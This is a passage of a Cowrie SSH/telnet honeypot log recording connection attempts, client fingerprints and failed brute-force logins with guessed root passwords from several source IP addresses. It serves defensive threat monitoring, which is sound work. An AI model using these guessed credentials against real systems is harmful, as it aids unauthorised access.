openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:13.218530Z","src_ip":"43.156.63.254","session":"bdf1cdc184c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin_1234","message":"login attempt [root/Admin_1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:14.231239Z","src_ip":"43.156.63.254","session":"bdf1cdc184c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:15.479293Z","src_ip":"43.156.63.254","session":"bdf1cdc184c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49616,"dst_ip":"10.17.0.5","dst_port":23,"session":"4de54f29a6eb","protocol":"telnet","message":"New connection: 152.42.224.71:49616 (10.17.0.5:23) [session: 4de54f29a6eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:17.719630Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49622,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c6e59af8b45","protocol":"telnet","message":"New connection: 152.42.224.71:49622 (10.17.0.5:23) [session: 1c6e59af8b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:18.611305Z"}
{"eventid":"cowrie.session.closed","duration":37.259103775024414,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:21.381423Z","src_ip":"152.42.224.71","session":"7922ab2fff7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49630,"dst_ip":"10.17.0.5","dst_port":23,"session":"251ceabfcde9","protocol":"telnet","message":"New connection: 152.42.224.71:49630 (10.17.0.5:23) [session: 251ceabfcde9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:23.501036Z"}
{"eventid":"cowrie.session.closed","duration":50.731043100357056,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:30.809929Z","src_ip":"152.42.224.71","session":"f0d873070b3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37532,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb34c81e65c4","protocol":"ssh","message":"New connection: 103.153.68.219:37532 (159.203.135.109:22) [session: eb34c81e65c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:31.330361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:31.334893Z","src_ip":"103.153.68.219","session":"eb34c81e65c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:31.589359Z","src_ip":"103.153.68.219","session":"eb34c81e65c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"445566","message":"login attempt [root/445566] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:32.343184Z","src_ip":"103.153.68.219","session":"eb34c81e65c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:33.597744Z","src_ip":"103.153.68.219","session":"eb34c81e65c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44126,"dst_ip":"10.17.0.5","dst_port":23,"session":"02b78f3d224f","protocol":"telnet","message":"New connection: 152.42.224.71:44126 (10.17.0.5:23) [session: 02b78f3d224f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:36.268530Z"}
{"eventid":"cowrie.session.closed","duration":111.56195521354675,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:37.429047Z","src_ip":"152.42.224.71","session":"6cdd32d73590","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.59308624267578,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:37.661622Z","src_ip":"152.42.224.71","session":"e6748dfbe01e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44132,"dst_ip":"10.17.0.5","dst_port":23,"session":"10bea168a102","protocol":"telnet","message":"New connection: 152.42.224.71:44132 (10.17.0.5:23) [session: 10bea168a102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:41.418597Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":58684,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdfdf1b4baf3","protocol":"ssh","message":"New connection: 80.94.92.184:58684 (10.17.0.5:22) [session: bdfdf1b4baf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:43.861189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:43.980670Z","src_ip":"80.94.92.184","session":"bdfdf1b4baf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:43.993716Z","src_ip":"80.94.92.184","session":"bdfdf1b4baf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"qwerty1234","message":"login attempt [solv/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:45.027366Z","src_ip":"80.94.92.184","session":"bdfdf1b4baf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:46.295621Z","src_ip":"80.94.92.184","session":"bdfdf1b4baf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38234,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd897b044269","protocol":"telnet","message":"New connection: 152.42.224.71:38234 (10.17.0.5:23) [session: bd897b044269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:46.926911Z"}
{"eventid":"cowrie.session.closed","duration":28.897874355316162,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:47.509093Z","src_ip":"152.42.224.71","session":"1c6e59af8b45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38236,"dst_ip":"10.17.0.5","dst_port":23,"session":"f71a730917d7","protocol":"telnet","message":"New connection: 152.42.224.71:38236 (10.17.0.5:23) [session: f71a730917d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:47.951620Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":50068,"dst_ip":"10.17.0.5","dst_port":22,"session":"bab6c122a796","protocol":"ssh","message":"New connection: 103.27.238.114:50068 (10.17.0.5:22) [session: bab6c122a796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:48.397016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:48.401438Z","src_ip":"103.27.238.114","session":"bab6c122a796","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:48.662418Z","src_ip":"103.27.238.114","session":"bab6c122a796","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7777777a","message":"login attempt [root/7777777a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:49.445477Z","src_ip":"103.27.238.114","session":"bab6c122a796","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.807809591293335,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:49.730784Z","src_ip":"152.42.224.71","session":"d01479958bf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:50.708850Z","src_ip":"103.27.238.114","session":"bab6c122a796","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38250,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7a3613041d7","protocol":"telnet","message":"New connection: 152.42.224.71:38250 (10.17.0.5:23) [session: f7a3613041d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:53.809776Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.142.250","src_port":54830,"dst_ip":"10.17.0.5","dst_port":22,"session":"49c4753332c6","protocol":"ssh","message":"New connection: 43.134.142.250:54830 (10.17.0.5:22) [session: 49c4753332c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:55.238949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:55.244374Z","src_ip":"43.134.142.250","session":"49c4753332c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.65631365776062,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:55.375839Z","src_ip":"152.42.224.71","session":"4de54f29a6eb","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:55.482714Z","src_ip":"43.134.142.250","session":"49c4753332c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pham","message":"login attempt [root/pham] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:56.466472Z","src_ip":"43.134.142.250","session":"49c4753332c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38254,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bf5b1a59540","protocol":"telnet","message":"New connection: 152.42.224.71:38254 (10.17.0.5:23) [session: 7bf5b1a59540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:56.489157Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:07:57.707667Z","src_ip":"43.134.142.250","session":"49c4753332c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47688,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a1799dbaa4b","protocol":"telnet","message":"New connection: 152.42.224.71:47688 (10.17.0.5:23) [session: 0a1799dbaa4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:01.956906Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47700,"dst_ip":"10.17.0.5","dst_port":23,"session":"d95b2ba8129f","protocol":"telnet","message":"New connection: 152.42.224.71:47700 (10.17.0.5:23) [session: d95b2ba8129f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:05.181500Z"}
{"eventid":"cowrie.session.closed","duration":45.36055135726929,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:08.861498Z","src_ip":"152.42.224.71","session":"251ceabfcde9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.075148582458496,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:10.343528Z","src_ip":"152.42.224.71","session":"02b78f3d224f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47534,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ba95047032b","protocol":"telnet","message":"New connection: 152.42.224.71:47534 (10.17.0.5:23) [session: 0ba95047032b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:17.966194Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":58182,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc7584c14db3","protocol":"ssh","message":"New connection: 171.244.37.103:58182 (10.17.0.5:22) [session: cc7584c14db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:22.576449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:22.581400Z","src_ip":"171.244.37.103","session":"cc7584c14db3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:22.828309Z","src_ip":"171.244.37.103","session":"cc7584c14db3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123!@#","message":"login attempt [root/admin123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:23.840953Z","src_ip":"171.244.37.103","session":"cc7584c14db3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.26784896850586,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:24.686350Z","src_ip":"152.42.224.71","session":"10bea168a102","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:25.090496Z","src_ip":"171.244.37.103","session":"cc7584c14db3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59030,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e261c260c26","protocol":"telnet","message":"New connection: 152.42.224.71:59030 (10.17.0.5:23) [session: 1e261c260c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:28.056445Z"}
{"eventid":"cowrie.session.closed","duration":11.680202007293701,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:29.646258Z","src_ip":"152.42.224.71","session":"0ba95047032b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.63.254","src_port":45046,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc26aeced67b","protocol":"ssh","message":"New connection: 43.156.63.254:45046 (10.17.0.5:22) [session: dc26aeced67b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:31.604943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:08:31.609815Z","src_ip":"43.156.63.254","session":"dc26aeced67b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@op